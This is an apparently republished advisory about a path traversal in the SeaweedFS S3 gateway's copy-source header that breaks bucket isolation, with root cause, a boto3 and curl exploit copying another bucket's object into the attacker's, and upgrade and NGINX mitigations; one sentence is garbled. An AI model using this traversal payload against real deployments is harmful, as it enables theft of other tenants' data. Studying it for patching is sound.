Listen to this Post
The SeaweedFS S3 API gateway did not reject `..` path segments in the `X-Amz-Copy-Source` header used by `CopyObject` and UploadPartCopy. The request URL path was hardened against traversal in 4.30 (CVE-2026-54917), but the copy-source header was only checked for emptiness, so a `..` segment in the copy source survived into the server-side filer path and resolved into a different bucket.
This is a confused-deputy authorization bypass that breaks bucket isolation. IAM evaluates the caller’s policy against the bucket named in the request URL (the destination the caller owns), while the copy reads its source from the traversed target bucket. An identity scoped to a single bucket (Read + Write on one bucket it controls) can therefore read any object in any bucket on the instance and land the result in its own bucket.
For example, a caller authorized only for `bucket-a` issues a `CopyObject` into `bucket-a` with copy source bucket-a/../<victim-bucket>/<key>; the gateway reads `CopyObjectPartHandler) is affected by the same vector.
The root cause traces to the router construction with mux.NewRouter().SkipClean(true). With path cleaning disabled, a `..` segment inside the request path survives routing. A request such as `GET /bucket-a/../evil-bucket/secret.txt` is matched as bucket=bucket-a, object=../evil-bucket/secret.txt. Authorization runs against the mux `{bucket}` variable — `bucket-a` — which the caller is allowed to use. But I/O joins the object key into a filer path (bucketDir(bucket) + "/" + object) and the filer collapses the `..` server-side, so the read/write actually lands in evil-bucket. The 4.30 fix for CVE-2026-54917 hardened the request URL path but not the `X-Amz-Copy-Source` header.
All releases prior to 4.34 are affected. The patch is available in version 4.34 and later. The fix validates the copy-source bucket and object key with the same `IsValidBucketName` / `IsValidObjectKey` guards already applied to the request URL, rejecting traversal segments before the handler runs, and applies the same check to UploadPartCopy.
DailyCVE Form:
Platform: SeaweedFS S3 Gateway
Version: <4.34
Vulnerability: Path Traversal
Severity: Critical (CVSS 10.0)
date: 2026-08-29
Prediction: Patch already available (4.34)
What Undercode Say:
Check SeaweedFS version weed version Check if vulnerable (pre-4.34) Look for S3 gateway responses to CopyObject with traversal
Exploit: (Educational Purposes!)
The following Python snippet demonstrates the traversal vector using the AWS SDK:
import boto3
from botocore.config import Config
Configure S3 client for SeaweedFS endpoint
s3 = boto3.client(
's3',
endpoint_url='http://<seaweedfs-gateway>:8333',
aws_access_key_id='<access_key>',
aws_secret_access_key='<secret_key>',
config=Config(s3={'addressing_style': 'path'})
)
Victim setup: bucket-a is owned by attacker, bucket-b is victim
Attacker has Read+Write on bucket-a only
Copy victim object into attacker's bucket using path traversal
s3.copy_object(
Bucket='bucket-a',
Key='stolen-secret.txt',
CopySource='bucket-a/../bucket-b/secret.txt' Traversal payload
)
Now read the stolen object from attacker's bucket
response = s3.get_object(
Bucket='bucket-a',
Key='stolen-secret.txt'
)
print(response['Body'].read().decode())
Alternative curl-based exploit (if SigV4 signing is not enforced or can be bypassed):
Direct CopyObject with traversal in X-Amz-Copy-Source curl -X PUT "http://<gateway>:8333/bucket-a/stolen-secret.txt" \ -H "X-Amz-Copy-Source: bucket-a/../bucket-b/secret.txt" \ -H "Host: <gateway>"
Protection:
- Immediate: Upgrade to SeaweedFS 4.34 or later.
- Workaround: Front the gateway with a reverse proxy that rejects requests whose `X-Amz-Copy-Source` header contains
..,%2e%2e, or backslash sequences. - Example reverse proxy rule (NGINX) :
location / { if ($http_x_amz_copy_source ~ "..|%2e%2e|\\") { return 403; } proxy_pass http://seaweedfs-s3:8333; }
Impact:
- Confused-Deputy Attack: IAM checks one bucket (the destination), but the filesystem operates on another (the traversal-resolved source).
- Bucket Isolation Breakage: Any principal authorized for a single bucket can read any object in any bucket on the instance and write the result to their own bucket.
- Authenticated & Unauthenticated Scenarios: With
enableAuth = false, direct unauthenticated cross-bucket read/write. WithenableAuth = true, any authenticated principal (any tenant) can read and write across bucket boundaries it has no grant for. - CVSS 10.0 Critical: Scope-changed score — one tenant’s credential breaks the isolation of all others.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

